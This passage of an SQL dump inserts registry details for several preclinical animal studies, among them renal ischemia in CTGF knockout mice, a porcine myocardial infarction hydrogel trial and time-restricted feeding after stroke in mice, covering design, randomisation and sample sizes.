	(8180,211,'primary_readout_parameter','\"Efficacy: The maintenance of the partial pressure of oxygen (PaO\\u00ac2) of the blood within clinical limits for the duration of the study.\"','2022-03-31 13:23:55','2022-03-31 13:23:55');

INSERT INTO `details` (`id`, `protocol_id`, `key`, `value`, `created_at`, `updated_at`)
VALUES
	(8181,211,'secondary_readout_parameter','\"The change in concentration of fHb for the duration of the experiment \\u2013 maintaining the fHb &lt;10 mg.dL-1 at the outset and &lt;50 mg.dL-1 at the end of the replicate. \"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8182,211,'exclusive_animal_use','\"no\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8183,211,'no_exclusive_animal_use_details','\"Fresh whole blood\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8184,211,'species','\"dog\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8185,211,'strain','\"Domestic dog, any breed, 1-7 years of age, in good health (for blood collection).\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8186,211,'sex','\"both\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8187,211,'experimental_design','\"Dog\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8188,211,'sample_size_calculation','\"yes\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8189,211,'sum_of_animals','\"12\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8190,211,'study_arms','[{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"Inclusion of oxygenator\"},{\"type\":\"control\",\"number\":\"6\",\"intervention\":\"Model will run without oxygenator\"}]','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8191,211,'randomisation','\"no\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8192,211,'why_no_randomisation','\"In-vitro study\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8193,211,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8194,211,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8195,211,'placebo_controlled','\"no\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8196,211,'application_number','\"REC200-19\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8197,211,'has_embargo','\"no\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8198,211,'sample_size_calculation_details','\"Anticipating a mean PaO2 of 100mmHg +\\/- 5 in the experimental group and a mean PaO2 of 92 in the control group; settting the alpha value at 0.05 and the beta value at 0.8, the experimental group should comprise 6 replicates as well as the control group. \"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8199,212,'title','\"Connective tissue growth factor (CTGF\\/CCN2) regulates the immediate oxidative stress response upon renal ischemia reperfusion injury\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8200,212,'short_title','\"CTGF regulates IRI-induced immediate oxidative stress response\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8201,212,'contact_name','\"Floris Valentijn\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8202,212,'contact_role','\"executive researcher\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8203,212,'contact_email','\"F.A.Valentijn@umcutrecht.nl\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8204,212,'study_centre','[{\"name\":\"UMC Utrecht\",\"city\":\"UMCU\",\"country\":\"NL\"}]','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8205,212,'financial_support','[\"grants\"]','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8206,212,'start_date','\"2014-04-01\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8207,212,'end_date','\"2021-09-01\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8208,212,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:55','2022-03-31 13:23:58'),
	(8209,212,'research_field','\"Nephrology\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8210,212,'hypothesis','\"CTGF knockout alters the I\\/R-injury induced immediate oxidative stress response\"','2022-03-31 13:23:55','2022-03-31 13:23:58'),
	(8211,212,'intervention_type','\"other\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8212,212,'other_intervention_type','\"Gene knockout\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8213,212,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8214,212,'primary_readout_parameter','\"Feasibility: 1. Identification of differentially regulated pathways 4 hours after IRI in CTGF KO vs wildtype IRI-mice\\n2. Validation of 1 by qPCR\\/IHC\\/WB\\n\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8215,212,'secondary_readout_parameter','\"Histopathological damage and inflammation\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8216,212,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8217,212,'species','\"mouse\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8218,212,'strain','\"CTGF conditional knockout (CTGF-floxed mice crossbred with ROSA26CreERT2 mice) and\\nwildtype (CTGF-floxed mice), all on a C57Bl6\\/J background\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8219,212,'sex','\"male\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8220,212,'experimental_design','\"25-minute bilateral IRI\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8221,212,'sample_size_calculation','\"no\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8222,212,'sample_size_calculation_details','\"Sample sizes were based on published studies and pilot experiments.\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8223,212,'sum_of_animals','\"24 mice\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8224,212,'study_arms','[{\"type\":\"\",\"number\":\"6\",\"intervention\":\"WT sham\"},{\"type\":\"\",\"number\":\"6\",\"intervention\":\"WT IRI\"},{\"type\":\"\",\"number\":\"5\",\"intervention\":\"KO sham\"},{\"type\":\"\",\"number\":\"7\",\"intervention\":\"KO IRI\"}]','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8225,212,'randomisation','\"yes\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8226,212,'randomisation_method_used','\"random_number_table\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8227,212,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8228,212,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8229,212,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8230,212,'placebo_controlled','\"no\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8231,212,'application_number','\"2014.II.04.030 \"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8232,212,'link_to_data','\"Related poster presentations and review articles available on:\\nhttps:\\/\\/www.researchgate.net\\/profile\\/Floris_Valentijn\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8233,212,'has_embargo','\"no\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8234,213,'contact_name','\"Morten Eskildsen\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8235,213,'contact_role','\"PhD-student\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8236,213,'contact_email','\"morten.peter.rosenberg.eskildsen@regionh.dk\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8237,213,'study_centre','[{\"name\":\"Panum\",\"city\":\"Copenhagen\",\"country\":\"DK\"}]','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8238,213,'financial_support','[\"grants\",\"other\"]','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8239,213,'other_financial_support','\"Unrestricted grant from Reapplix A\\/S\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8240,213,'start_date','\"2020-09-01\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8241,213,'end_date','\"2020-12-01\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8242,213,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:55','2022-03-31 13:24:01'),
	(8243,213,'research_field','\"Surgery\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8244,213,'hypothesis','\"We hypothesize that the blood-derived patch is able to prevent or diminish the number of adhesions in a model of abdominal surgery in rats.  \"','2022-03-31 13:23:55','2022-03-31 13:24:01'),
	(8245,213,'intervention_type','\"compound\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8246,213,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8247,213,'primary_readout_parameter','\"Feasibility: Number and nature of adhesions after surgery. The macroscopic adhesions will be measured according to an objective chart taking into account the nature of the adhesions, how easy\\/hard the adhesions are to separate from the tissue and the distribution of the adhesions and\\/or involvement of other organs. Furthermore the adhesions and the damaged uterine horn are examined by a pathologist also according to an obejctive chart describing fibrosis, inflammation and microscopic adhesions.\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8248,213,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8249,213,'species','\"rat\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8250,213,'strain','\"LEWIS rat.\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8251,213,'sex','\"female\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8252,213,'experimental_design','\"Uterine Horn Model\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8253,213,'sample_size_calculation','\"yes\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8254,213,'sample_size_calculation_details','\"N1={1.96\\u2217\\u221a0.615\\u22170.385\\u2217(1+11)+0.84\\u2217\\u221a0.83\\u22170.17+0.4\\u22170.61)}2\\/0.432\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8255,213,'sum_of_animals','\"40 rats. Every rat has two uterine horns, so the actual &quot;n&quot; will be 80. Every group has 20 uterine horns that are treated and 20 uterine horns that serve as control. Therefore the number of rats are 40, but n = 80.\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8256,213,'study_arms','[{\"type\":\"control\",\"number\":\"40\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"Patch\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"Inactive patch\"}]','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8257,213,'randomisation','\"yes\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8258,213,'randomisation_method_used','\"shuffled_blinded_envelopes\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8259,213,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8260,213,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8261,213,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8262,213,'placebo_controlled','\"no\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8263,213,'title','\"An autologous blood-derived patch, as perioperative adhesion prophylaxis and hemostasis in surgery \"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8264,213,'secondary_readout_parameter','\"Difference between inactive and active patch.\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8265,213,'original_animal_ethics_committee_application','\"https:\\/\\/dyreforsoegstilsynet.fvst.dk\\/PublishedApprovals\\/Pages\\/default.aspx#\\/detail\\/f92170ae-6b4a-4fed-8181-2cf910d5878f\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8266,213,'application_number','\" 2019-15-0201-00144 \"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8267,213,'has_embargo','\"no\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8268,214,'title','\"Testing of recombinant mCOL7 proteins and pathogenic IgG to induce experimental epidermolysis bullosa acquisita\"','2022-03-31 13:23:55','2022-03-31 13:23:56'),
	(8269,214,'contact_name','\"Ralf Ludwig\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8270,214,'contact_role','\"Principle investigator\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8271,214,'contact_email','\"ralf.ludwig@uksh.de\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8272,214,'study_centre','[{\"name\":\"University of L\\u00fcbeck\",\"city\":\"L\\u00fcbeck\",\"country\":\"DE\"}]','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8273,214,'financial_support','[\"investigator_driven\"]','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8274,214,'start_date','\"2020-06-23\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8275,214,'end_date','\"2025-06-22\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8276,214,'study_status','\"active\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8277,214,'research_field','\"Dermatology\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8278,214,'short_title','\"German TITLE (under which the proposal is filed): Testung von rekombinanten mCOL7 Proteinen und pathogenem IgG zur Induktion einer experimentellen Epidermolysis bullosa acquisita\"','2022-03-31 13:23:55','2022-03-31 13:23:56'),
	(8279,214,'hypothesis','\"No hypothesis - Study undertaken to control the in vivo function of proteins \\/ antibodies to induce experimental EBA. Thereby we ensure that the compounds used to induce disease do so in larger, hypothesis-testing studies\"','2022-03-31 13:23:55','2022-03-31 13:23:56'),
	(8280,214,'intervention_type','\"other\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8281,214,'other_intervention_type','\"Quality control of proteins \\/ antibodies used to induce experimental EBA\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8282,214,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8283,214,'primary_readout_parameter','\"Efficacy: To induce disease\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8284,214,'secondary_readout_parameter','\"-\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8285,214,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8286,214,'species','\"mouse\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8287,214,'strain','\"C57Bl6J\\nB6.SJL-H2&lt;s&gt; C3&lt;c&gt;\\/1CyJ\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8288,214,'sex','\"both\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8289,214,'experimental_design','\"Antibody transfer-induced EBA (J Immunol. 2015 Sep 1;195(5):1945)\\nImmunization-induced EBA (J Immunol. 2013 Sep 15;191(6):2978)\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8290,214,'sample_size_calculation','\"no\"','2022-03-31 13:23:55','2022-03-31 13:23:56'),
	(8291,214,'sample_size_calculation_details','\"Descriptive statistics: Proportion of mice with disease\"','2022-03-31 13:23:55','2022-03-31 13:23:56'),
	(8292,214,'sum_of_animals','\"552\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8293,214,'randomisation','\"no\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8294,214,'why_no_randomisation','\"No comparisons done\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8295,214,'study_arms','[{\"type\":\"control\",\"number\":\"150\",\"intervention\":\"I.d. injection of anti-COL7 antibodies\"},{\"type\":\"control\",\"number\":\"270\",\"intervention\":\"I.p. injection of anti-COL7 antibodies\"},{\"type\":\"control\",\"number\":\"132\",\"intervention\":\"S.c. immunization with COL7\"}]','2022-03-31 13:23:55','2022-03-31 13:23:56'),
	(8296,214,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8297,214,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8298,214,'placebo_controlled','\"no\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8299,214,'original_animal_ethics_committee_application','\"Ministerium f\\u00fcr Endergiewende, Landwirtschaft, Umwelt, Natur und Digitalisierung\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8300,214,'application_number','\"26-4\\/20\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8301,214,'link_to_data','\"-\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8302,214,'has_embargo','\"no\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8303,215,'other_intervention_type','\"xd  sdfdsf\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8304,216,'title','\"Hydrogel-based delivery of microRNA therapeutics to enhance cardiac regeneration\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8305,216,'short_title','\"REMAIN main porcine study\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8306,216,'contact_name','\"Aina Cervera i Barea\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8307,216,'contact_role','\"Lead researcher\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8308,216,'contact_email','\"aina.cervera@gmail.com\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8309,216,'study_centre','[{\"name\":\"University Medical Center Utrecht\",\"city\":\"Utrecht\",\"country\":\"NL\"}]','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8310,216,'financial_support','[\"grants\"]','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8311,216,'start_date','\"2020-11-11\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8312,216,'end_date','\"2022-06-30\"','2022-03-31 13:23:55','2022-03-31 13:23:56'),
	(8313,216,'study_status','\"active\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8314,216,'research_field','\"Cardiology\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8315,216,'hypothesis','\"The hypothesis formulated for this study intends to prove whether the delivery of antimiRNA-195 in the hydrogel leads to a modulation of the targeted miRNA in the heart stimulating repair of the heart in the (acute) ischaemic setting.\"','2022-03-31 13:23:55','2022-03-31 13:23:56'),
	(8316,216,'intervention_type','\"other\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8317,216,'other_intervention_type','\"Proliferative capacity of microRNA therapeutics + retention capacity of the hydrogel\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8318,216,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8319,216,'primary_readout_parameter','\"Efficacy: Primary endpoint: difference in heart function as measured by MRI, left ventricular volumes, ejection fraction, and infarct size.\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8320,216,'secondary_readout_parameter','\"Secondary endpoints: echocardiography (systolic and diastolic volumes, cardiac hypertrophy), intracoronary derived microvascular resistance index as a measure of angiogenesis and microvascular dysfunction, arrhythmias (REVEAL device), histological analysis assessing the effect of our therapy on the level of tissue and the regulation of downstream target genes.\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8321,216,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8322,216,'species','\"pig\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8323,216,'strain','\"Topigs Norsvin pigs from 60-65kg.\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8324,216,'sex','\"female\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8325,216,'experimental_design','\"Porcine animal model of acute myocardial infarction (AMI) induced by the obliteration of the left coronary descending artery via balloon occlusion technique.\"','2022-03-31 13:23:55','2022-03-31 13:23:56'),
	(8326,200,'sample_size_calculation_details','\"Alpha: 0,05\\nPower: 90%\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8327,216,'has_embargo','\"yes\"','2022-03-31 13:23:55','2022-03-31 13:23:55'),
	(8328,216,'application_number','\"CCD license number AVD115002015257\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8329,216,'sample_size_calculation','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8330,216,'sample_size_calculation_details','\"Alpha: 0,05\\nPower: 90%\\nWe expect a 10% of mortality in our infarct model.\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8331,216,'sum_of_animals','\"28\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8332,216,'study_arms','[{\"type\":\"control\",\"number\":\"7\",\"intervention\":\"LAD occlusion + injections of saline + 4 weeks follow-up\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"LAD occlusion + injections of microRNA dissolved in saline + 4 weeks follow-up\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"LAD occlusion + injections of empty hydrogel + 4 weeks follow-up\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"LAD occlusion + injections of microRNA enclosed in hydrogel + 4 weeks follow-up\"}]','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8333,216,'randomisation','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8334,216,'randomisation_method_used','\"random_number_table\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8335,216,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8336,216,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8337,216,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8338,216,'placebo_controlled','\"yes\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8339,217,'title','\"Time-restricted feeding after stroke as an intervention to foster motor recovery in young and aged mice\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8340,217,'contact_name','\"Harms Christoph\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8341,217,'contact_role','\"research group supervisor\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8342,217,'contact_email','\"christoph.harms@charite.de\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8343,217,'study_centre','[{\"name\":\"Charit\\u00e9 Universit\\u00e4tsmedizin Berlin - Department of Experimental Neurology \",\"city\":\"Berlin\",\"country\":\"DE\"}]','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8344,217,'financial_support','[\"grants\"]','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8345,217,'other_financial_support','\"Deutsche Forschungsgemeinschaft (DFG, German Research Foundation) \\u2013 Project-ID 424778381 \\u2013 TRR 295 to NW and CH, HO5177\\/3\\u20101 to C.J.H., HA5741\\/5\\u20101 to C.H. Deutsche Forschungsgemeinschaft, Grant\\/Award Numbers: EXC\\u20102049 \\u2010 390688087\\n\\nGerman Federal Ministry of Education and Research (BMBF CSB 01EO1301) to U.D. and C.H.\\n\\nBerlin Institute of Health\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8346,217,'start_date','\"2020-06-15\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8347,217,'end_date','\"2021-12-31\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8348,217,'study_status','\"active\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8349,217,'research_field','\"neuroscience and neurology\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8350,217,'hypothesis','\"Time restricted feeding applied after ischemic brain injury leads to better motor recovery. This effect is smaller in aged animals.\"','2022-03-31 13:23:56','2022-03-31 13:23:57'),
	(8351,217,'intervention_type','\"other\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8352,217,'other_intervention_type','\"lifestyle change\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8353,217,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:56','2022-03-31 13:23:56'),
	(8354,217,'primary_readout_parameter','\"Efficacy: The primary outcome of this study is the performance ratio. The performance ratio is defined as the ratio of the score in the rotating pole test after the three-week recovery period and the score at baseline.\\nWe powered this study for two primary objectives that are both evaluated using the primary outcome. \\nThe first one will be the comparison between the performance ratios of aged animals on a time restricted feeding diet or food ad libitum. This will give us the effect of intermittent fasting as a treatment for ischemic stroke and should give us an effect size more translatable to humans than if just young animals would have been used.\\nThe second one will be the comparison between performance ratios of young and aged mice on a time restricted feeding diet. This comparison will show us whether age has an impact on the effect of time restricted feeding diet on the performance score .\\n\\nRotating pole test\\nIn the rotating pole test mice are put at the end of a pole. The safe cage is on the other side of the pole. Each test consists of 5 runs per mouse: \\n1 \\u2013 the pole does not turn.\\n2 \\u2013 the pole turns 3 x\\/min to the left\\n3 \\u2013 the pole turns 3 x\\/min to the right\\n4 \\u2013 the pole turns 10 x\\/min to the left\\n5 \\u2013 the pole turns 10 x\\/min to the right \\nFor every run the animals will get a score ranging from 0 (mouse immediately falls off the pole into the security net) to 6 (mouse runs over the pole without slipping). Adding these 5 scores together gives you a total score ranging from 0 (worst performance) to 30 (best performance).\\n\\n\"','2022-03-31 13:23:56','2022-03-31 13:23:57'),
	(8355,217,'secondary_readout_parameter','\"Secondary outcomes\\nSurvival or censored subjects (humane endpoints)\\nMortality rates will also comprise mice that will be censored and sacrificed according to the preset humane endpoint criteria that were approved and listed und exclusion criteria below. A Kaplan Meier curve for this analysis will be calculated per group and age of mice.\\n\\nKey secondary outcome: sticky tape test\\nWe will use the sticky tape test as a key secondary outcome to measure fine motor skills. In this test a little piece of coloured sticky tape is put on the right forepaw of the mouse and the time until notification and removal of the tape is measured. The whole tests gets recorded on video. On each test day there are 3 trials per mouse. \\n\\nFurther secondary outcomes\\nThere will be further behavioral tests performed, namely the Morris water maze test and the novel object recognition test to measure general and especially spatial memory.\\n\\nThe modified DeSimoni Neuroscores will be performed on days 1, 2, 7, 14 and 21 after MCAo as described in detail (Donath et al., 2016).\\nThe infarction and scar volume respectively will be measured via MRI on day 1 and day 31 after stroke. \\n\\nHistology\\nApart from determining the histological infarct size or scar size respectively we will analyze post stroke angiogenesis, using Lycopersicon Esculentum (Tomato) Lectin (LEL, TL) DyLight488, which will be injected and circulated for three minutes prior sacrifice (Malik et al., 2020). Additionally, vessel associated proliferating cells will be quantified using BrdU injections during the early recovery phase after the stroke (50 mg \\/ kg bodyweight on d1-7) or by co-staining with the endothelial-specific transcription factor ERG (abcam ab92513).\\n\\nIn vivo magnetic resonance imaging\\nAnimals will be scanned at two timepoints with morphometric T2-weighted (T2w) magnetic resonance imaging (MRI) and diffusion tensor imaging (DTI) in vivo at a 7 T horizontal Bore system and a Tx\\/Rx cryoprobe (Bruker, Ettlingen, Germany) using 2D-RARE and ParaVision 6.0.1 software. T2-w images at the first timepoint will be acquired with a 2D-RARE with TR \\/ TE = 4200 \\/ 36 ms, rare factor 8, 4 averages, 32 axial slices with a slice thickness of 0.5 mm, field of view of 2.56 x 2.56 cm, matrix size 256 x 256 and a 20mm bore quadrature volume resonator and at the second timepoint with a 2D-RARE with repetition time (TR) = 4300 ms, effective echo time (TE)= 33 ms, echo spacing (\\uf044TE)=11 ms, RARE factor=8, 2 averages, 40 contiguous axial slices with a slice thickness of 0.4 mm, field of view (FOV)=19.2 \\u00d7 19.2 mm2, matrix size MTX=192 \\u00d7 192, bandwidth BW=34722 Hz, and total acquisition time TA=3:26 min. Diffusion MR images will be acquired with a respiration-gated multishot 2D spin echo EPI sequence with matching geometry and resolution will be used (6 segments, TR=2200 ms, TE=32.4 ms, double sampling on, BW=300 kHz, diffusion gradient duration\\/separation= 3.9 ms\\/16 ms) and multishell diffusion encoding using 4 separate scans with one additional b=0 image each (6 directions with b=100 s\\/mm2, 13 directions with b=900 s\\/mm2, 25 directions with b=1600 s\\/mm2, 37 directions with b=2500 s\\/mm2, TA=18:42 min, effective TA due to respiratory gating ~35-40 min). Diffusion directions are calculated with the online tool available at http:\\/\\/www.emmanuelcaruyer.com\\/q-space-sampling.php 7, the number of points are varied linearly with diffusion wave vector q (b~q2), i.e. with a square root dependency N(b)~b1\\/2. T2-weighted images will be segmented into tissue probability maps of gray\\/white matter and cerebrospinal fluid and a custom brain atlas with 308 anatomical regions (154 right\\/154 left hemisphere) derived from the Allen mouse brain atlas will be registered to the T2-weighted and diffusion MR images using ANTx2 (https:\\/\\/github.com\\/ChariteExpMri\\/antx2). Diffusion MR images will be processed in mrtrix (https:\\/\\/www.mrtrix.org) and custom tools based on network analysis as described previously 8 9. The processing pipeline consists of\\n1.\\tConversion of Bruker raw data into NIFTI image format\\n2.\\tDenoising, Gibbs ringing removal, bias field correction, eddy current correction and motion correction\\n3.\\tCalculation of conventional diffusion tensor imaging maps of axial, radial, and mean diffusivity and of fractional anisotropy\\n4.\\tDiffusion orientation function reconstruction using constrained spherical deconvolution\\n5.\\tConnectome reconstruction using streamline tractography and SIFT2 optimization\\n6.\\tReconstruction of connectivity matrices counting the number of streamlines from atlas region to region\\n\\nFinally, we will perform group statistical comparisons on \\n\\u2022\\tEach connection in the connectivity matrix\\n\\u2022\\tNetwork metrics defined for each node (=atlas region), e.g. degree\\n\\u2022\\tNetwork metrics defined for the whole network (e.g. global efficiency)\\n\\u2022\\tDiffusion tensor imaging metrics (mean in each atlas region)\\n\\u2022\\tDiffusion tensor imaging metrics (voxel-wise after registration to the common atlas space)\\n\\u2022\\tGray matter tissue probability maps, i.e. voxel-based morphometric analysis (voxel-wise after transformation to the common atlas 